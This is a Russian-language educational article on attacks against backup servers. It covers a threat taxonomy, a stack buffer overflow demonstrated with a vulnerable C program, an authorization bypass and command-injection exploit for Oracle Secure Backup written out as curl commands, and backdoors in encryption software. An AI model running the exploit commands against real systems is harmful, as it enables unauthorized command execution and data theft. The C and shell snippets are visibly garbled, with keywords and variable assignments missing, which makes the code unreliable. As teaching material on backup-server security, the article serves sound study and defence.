Типовые нападения против сервера резервного копирования и их примеры

 

Атаки на сервер резервного копирования можно разделить на атаки против зоны долговременного запоминающего устройства (ДЗУ) и атаки против зоны оперативного запоминающего устройства (ОЗУ).

Против зоны ДЗУ сервера резервного копирования существуют следующие типовые нападения:

. Доступ к электронной почте на резервном носителе информации; цель: хищение или несанкционированное копирование информации с резервной копией сообщений электронной почты;

2. Навязывание электронной почты на резервный носитель информации; цель: путем замены или модификации носителей с резервной копией сообщений электронной почты и последующим инспирированием сбойной ситуации добиться восстановления навязанной информации на сервере электронной почты.

Зоне ОЗУ сервера резервного копирования угрожают следующие типовые нападения:

. Использование уязвимостей системы резервного копирования; цель: воздействуя на ошибки программного обеспечения и (или) изъяны конфигурации получить контроль над сервером резервного копированию.

2. Резервное копирование с ложного сервера; цель: подавляя средства резервного копирования санкционированного сервера, выполнить резервное копирование ложной информации на сервер резервного копирования с последующей инспирацией сбойной ситуации восстановления с навязанной резервной копией;

.   Восстановление на ложный сервер; цель: хищение сообщений электронной почты путем имитации сбоя на санкционированном сервере электронной почты и последующего перехвата сеанса восстановления информации из резервной копии с подавлением санкционированного сервера электронной почты

.   Перехват электронных сообщений в оперативной памяти; цель: с помощью программной закладки получить доступ к электронным сообщениям в оперативной памяти сервера резервного копирования на этапе подготовки к сохранению на резервном носителе информации.

Примеры типовых атак против сервера резервного копирования.

Атака "переполнение буфера"

Когда динамический буфер, представляющий собой автоматический массив, выделяется в функции, он создаётся на стеке во время вызова этой функции. В архитектуре x86 стек растёт от бо́льших адресов к меньшим то есть новые данные помещаются перед теми, которые уже находятся в стеке. Здесь, (DATA) (DATA) (…) представляет существующий стек, и (NEWDATA) - это некоторое новое значение, которое ЦП поместил в стек:

(NEWDATA)(DATA)(DATA)(...)

Записывая данные в буфер, можно осуществить запись за его границами и изменить находящиеся там данные. Когда программа вызывает подпрограмму, она помещает адрес возврата в стек, так что подпрограмма знает, куда возвращать управление после того, как она завершится:

(ADDR)(DATA)(DATA)(...)

Когда выделяется динамический буфер, стек растёт влево на размер буфера. Так, если функция начинается с объявления char a[10], результатом будет:

(.a........)(ADDR)(DATA)(DATA)(...)

В конце подпрограммы память, занятая буфером, освобождается, и вызывается операция RET. Она извлекает адрес возврата из стека и выполняет переход по этому адресу, возвращая управление туда, откуда была вызвана подпрограмма.

Предположим, что 10-байтный буфер предназначен для того, чтобы содержать данные, предоставляемые пользователем (например - пароль). Если программа не проверяет количество символов, которые были введены пользователем, и записывает 14 байт в буфер, эти лишние данные будут помещены поверх адреса возврата. Таким образом, это изменит адрес, по которому будет передано управление, когда завершится подпрограмма, и с которого программа продолжит исполнение после этого.

Если пользователь не злонамерен и вводит более, чем 10 символов, добавочные данные будут, скорее всего, случайными. В таком случае вполне возможно, что адрес возврата будет указывать на область памяти, которая неподконтрольна текущей исполняемой программе. Это вызовет ошибку сегментации в UNIX-системах или аналогичную ошибку в других операционных системах.

Однако пользователь может подставить в качестве адреса возврата и некий правильный адрес. Это вызовет переход управления в любую точку программы по его выбору. В результате потенциально может быть выполнен любой произвольный код, который этот пользователь поместил в данную область памяти, с теми привилегиями, с которыми выполняется текущая программа.

Рассмотрена следующая программу на языке СИ. Скомпилировав эту программу, можно использовать её для генерации ошибок переполнения буфера. Первый аргумент командной строки программа принимает как текст, которым заполняется буфер.

 

#include <stdio.h>

#include <string.h>main(int argc, char *argv[])

{buffer[10];(argc < 2)

{(stderr, "ИСПОЛЬЗОВАНИЕ: %s строка\n", argv[0]);1;

}(buffer, argv[1]);0;

}

 

Программу можно опробовать с несколькими разными строками. Строки размером в 9 или меньше символов не будут вызывать переполнение буфера. Строки в 10 и более символов будут вызывать переполнение, хотя это может и не приводить к ошибке сегментации.

Эта программа может быть переписана следующим образом, с использованием функции Strncpy для предотвращения переполнения. Однако, следует учитывать, что простое отбрасывание лишних данных, как в этом примере, также может приводить к нежелательным последствиям, в том числе, при определённых условиях, к повышению привилегий. Как правило, требуется более тщательная обработка таких ситуаций.

 

#include <stdio.h>

#include <string.h>

#define BUFFER_SIZE 10main(int argc, char *argv[])

{buffer[BUFFER_SIZE];(argc < 2)

{(stderr, "ИСПОЛЬЗОВАНИЕ: %s строка\n", argv[0]);1;

}(buffer, argv[1], BUFFER_SIZE);

return 0; }


 

Обход авторизации в продукте резервного копирования OracleSecure Backup представляет собой технологию централизованного управления резервного копирования на ленточные накопители. Отличительная особенность продукта в том, что процесс резервирования может происходить без использования ресурса мощностей (server-less) посредством прямого копирования данных с физического ленточного носителя по протоколу NDMP.

По словам разработчиков, в средах сетей хранения данных (Storage Area Network, SAN) решение Oracle Secure Backup обеспечивает высокий показатель использования ленточных накопителей путем их динамического «разделения» между несколькими медиа-серверами. Стоимость лицензии Oracle Secure Backup составляет $3,5 тыс. в расчете на один ленточный накопитель, включая защиту данных для неограниченного числа серверов, устройств NAS и баз данных Oracle. Сам понимаешь, какие суммы могут накапать в хорошо развернутой сетевой инфраструктуре, где одной лентой уж точно не обойдешься. Обход авторизации позволяет несанкционированно получать доступ к резервируемым ресурсам, а также исполнять команды на целевой системе. Свет долгое время не мог увидеть подробностей уязвимости, так как афиширована она была сугубо вендорскому полю зрению и компаниям-разработчикам IPS/IDS и антивирусных решений для отслеживания соответствующих аномальных действий при анализе трафика.

По сути, уязвимость подразделяется на две составляющих, которые по логике и были задокументированы в базе CVE, им выданы следующие номера:

«Unspecified vulnerability in the Oracle Secure Backup component in Oracle Secure Backup 10.2.0.3 allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors».

) cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1977

) cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1978

Эксплуатация осуществляется в два этапа. Сначала злоумышленником получается валидная сессия, которую генерирует движок WEB-интерфейса системы:

 

# передача данных в POST-запросе="button=Login&attempt=1&mode=&tab=&uname=--&passwd=fakepwd"

# непосредственное получение сессии после отправки POST'a

curl -kis "https://$TARGET/login.php" -d $postdata | grep "PHPSESSID=" | -n 1 | cut -d= -f 2 | cut -d\; -f 1

 

Теперь остается только перейти к делу. Настоящий эксплоит по неавторизированному выполнению команд пишется в три строки:

 

# подготовка команды для исполнения="1%26ver>osb103shelltmp"

# организация запроса к уязвимому сценарию с указанием команды для

исполнения ($shell) и наличием валидной сессии ($session)

 

Curl -k -s

"https://$TARGET/property_box.php?type=CheckProperties&vollist=$shell

" -b "PHPSESSID=$session" > /dev/null

# просмотр выполнения результата

check=`curl -ks "https://$TARGET/osb103shelltmp" -b

"PHPSESSID=$session" | grep -i Microsoft`

 

Финальной строкой подтверждается, что вывод команды показал название версии СУБД и платформы.

Пример внедрения программной закладки в программу шифрования

Предполагается, что у злоумышленника есть желание внедрить в программу шифрования "черный ход". Для разработчиков программы нет ничего проще - достаточно лишь в каждый заголовок, помимо стандартной информации, записывать еще и файловый ключ, зашифрованный на некотором "универсальном ключе"(всего-то 32 байта лишней информации). Это уравнивает в возможностях расшифровывания информации легальных пользователей и владельцев данного спецключа. Пример реализации

В качестве примера приведена файловая система EFS (Encrypting File System), появившуюся в Microsoft Windows 2000 и осуществляющая прозрачное шифрование файлов. Шифрование выполняется на случайном файловом ключе (FEK-File encryption key), который зашифровывается асимметричным алгоритмом на открытом ключе пользователя и хранится вместе с зашифрованным файлом. Однако, помимо этого, FEK зашифровывается и на одном или нескольких открытых ключах агентов восстановления данных и также записывается в файловый дескриптор. Соответственно агент восстановления данных может в любой момент расшифровать файл с помощью своего секретного ключа. Это весьма полезно при увольнении пользователя или утере им носителя с долговременным секретным ключом, но, по сути, данная схема представляет собой реальный пример использования "черного хода" - зашифрованная пользователем информация в любой момент может быть получена, например, администрацией организации, в которой он работает. Пример реализации изображен на рисунке 1.1.

 

Рисунок - 1.1 Вариант внедрения программной закладки


 

Еще одна возможность недобросовестных разработчиков - усечение ключевого множества. Происходит путем внедрения в программу специального ДСЧ, который генерирует не случайные файловые ключи, а ключи из какого-либо ограниченного подмножества ключей. Подмножество может быть достаточно большим по общечеловеческим меркам и содержать, например, миллиард ключей, которые легко переберутся злоумышленником по сравнению с возможными, например, 2256 (т.е. ~1077) ключей алгоритма ГОСТ 28147-89. В этом случае долговременный ключ также не интересен злоумышленнику - перебор будет осуществляться непосредственным расшифровыванием файла на ключах из ограниченного подмножества.



Выводы

Таким образом, основными уязвимостями сервера резервного копирования сетевой файловой системы являются:

- отсутствие контроля доступа в помещение, где находится сервер резервного копирования;

-  незащищенное хранение носителей с резервной копией данных (отсутствие дверей, сейфов, замков);

-  безнадзорная работа внешнего персонала или персонала, работающего в нерабочее время;

- неосторожное или умышленное злоупотребление оборудованием;

-  отсутствие или некорректная настройка механизмов идентификации и аутентификации;

-  хранение данных на резервных носителях в открытом виде;

-  ошибки в ПО

-  наличие в программном обеспечении не обозначенных в документации возможностей;

-  помещение, в котором установлен сервер, не оборудовано должным образом;

-  отсутствует контроль над резервными носителями информации;

-  не производятся обновления системы и установленного ПО;

-  необученный персонал;

-  отсутствуют средства контроля целостности данных;

-  отсутствуют средства проверки подлинности сетевых адресов;

сетевой сервер угроза защита


 



Понравилась статья? Добавь ее в закладку (CTRL+D) и не забудь поделиться с друзьями:  



double arrow
Сейчас читают про: